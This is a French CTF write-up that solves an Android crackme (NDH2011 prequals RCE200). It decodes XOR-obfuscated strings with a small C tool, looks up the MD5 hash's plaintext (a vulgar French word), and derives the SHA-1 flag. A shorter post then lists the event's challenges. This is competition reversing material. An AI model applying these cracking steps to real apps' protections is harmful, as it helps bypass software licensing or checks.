      int j = paramArrayOfByte.length;
      if (i >= j)
        return new String(arrayOfByte);
      int k = (byte)(paramArrayOfByte[i] ^ 0x3C);
      arrayOfByte[i] = k;
      i += 1;
    }
  }

  public static String b()
  {
    return a(b);
  }

  public static String c()
  {
    return a(c);
  }

  public static String d()
  {
    return a(d);
  }

  public static String e()
  {
    return a(e);
  }
}
Ici nous avons affaire à plusieurs chaînes de caractères obfusquée par un XORing avec une clé de 0x3C.

J'ai coder un rapide utilitaire pour me dé-obfusquer ces chaînes:
// author : m_101
// licence: beerware
// year   : 2011
// ctf    : ndh2011 prequals

#include <stdio.h>
#include <stdlib.h>

void decrypt(unsigned char *encrypted) {
    size_t idxEnc;
    int c;

    printf("Decrypted: '");
    for (idxEnc = 0; encrypted[idxEnc] != 0; idxEnc++) {
        c = encrypted[idxEnc] ^ 0x3c;
        printf("%c", c); 
    }
    printf("'\n");
}

int main (int argc, char *argv[]) {
    unsigned char a[] = {
        90, 5, 88, 88, 13, 13, 90, 90,
        10, 4, 9, 11, 93, 90, 11, 15,
        93, 95, 5, 93, 5, 8, 8, 88,
        90, 95, 9, 14, 90, 8, 13, 94,
        0
    };
    unsigned char b[] = { 91, 83, 83, 91, 80, 89, 99, 79, 88, 87 };
    unsigned char c[] = { 113, 120, 9 };
    unsigned char d[] = {
        93, 82, 88, 78, 83, 85, 88, 18,
        79, 76, 89, 89, 95, 84, 18, 93,
        95, 72, 85, 83, 82, 18, 110, 121,
        127, 115, 123, 114, 117, 102, 121, 99,
        111, 108, 121, 121, 127, 116,
        0
    };
    unsigned char e[] = { 111, 116, 125, 17, 13, 0 };

    decrypt(a);
    decrypt(b);
    decrypt(c);
    decrypt(d);
    decrypt(e);


    return 0;
}

Vous obtenez ceci:
$ ./decode
Decrypted: 'f9dd11ff6857af73ac9a944dfc52f41b'
Decrypted: 'google_sdk|'
Decrypted: 'MD5'
Decrypted: 'android.speech.action.RECOGNIZE_SPEECH'
Decrypted: 'SHA-1'

On trouve un hash MD5, tiens tiens ...
Une petite recherche google nous donne ceci:
md5(salope) = f9dd11ff6857af73ac9a944dfc52f41b

Donc au final, l'application va faire un hash sha1 du mot qu'on prononce et l'afficher si celui-ci est correct.
Je n'ai pas réussi à l'obtenir par ce biais, mais nous savons que c'est un sha1.
$ printf "salope" | openssl dgst -sha1
913beccad686975f8c686d9b3b1ee6bb97c22d6f

Et voilà, done :).

J'espère que ce rapide tour d'horizon du reversing Android vous a plut.
J'ai mis plus de doc en lien si vous voulez approfondir ;).

Je n'ai pas encore fini de reverser le RCE300 par contre, donc l'article de reversing NDS va attendre un peu.

Cheers,

m_101

- ReverseMe: RCE200
- Tool: dex2jar
- Tool: apktool
- Doc: DalvikVM
- Doc: dalvik opcodes
- Doc: Reversing Android par virtualabs
- Doc: Primer on Android OS Reversing by ARTeam

Prequals NDH2011

Hello!

Ce week-end s'est déroulé les prequals de la NDH2011 (de Vendredi soir minuit à Dimanche soir minuit).
Les challenges comprenaient les catégories suivantes: crypto, web, reversing et forensic.
A notre grande surprise, il n'y avait pas d'exploitation comme à notre habitude, nous avons donc dû nous rabattre sur d'autres joix binaires.

Voici donc les différentes épreuves auquelles nous avons eu droit.

Crypto:
crypto 100: Un cryptext
crypto 200: On avait une image JPG cryptée et un code de génération de password (fallait bruteforcer)
crypto 300: Un soft python avec un échange de clé entre client et serveur, il faut pouvoir récupérer la clé

Forensic
forensic 100: Analyse d'un dump de mémoire dynamique
forensic 200: Cracking d'une base Active Directory NTDS.DIT (avec le system qui va bien)
forensic 300: Analyse d'un raw dump contenant potentiellement des partitions NTFS ou exFAT ou autre

Web: Aucune idée, je n'y ai pas touché du tout

Reversing
rce 100: Programme Windows à déplomber
rce 200: Application Android à déplomber
rce 300: Application NDS à déplomber

C'était en somme toute des prequals assez sympa, à refaire :).
Bravo à la team de sysdream pour l'organisation de leur premier prequals ^^.



J'écrirais quelques write-ups dans les articles suivants.

m_101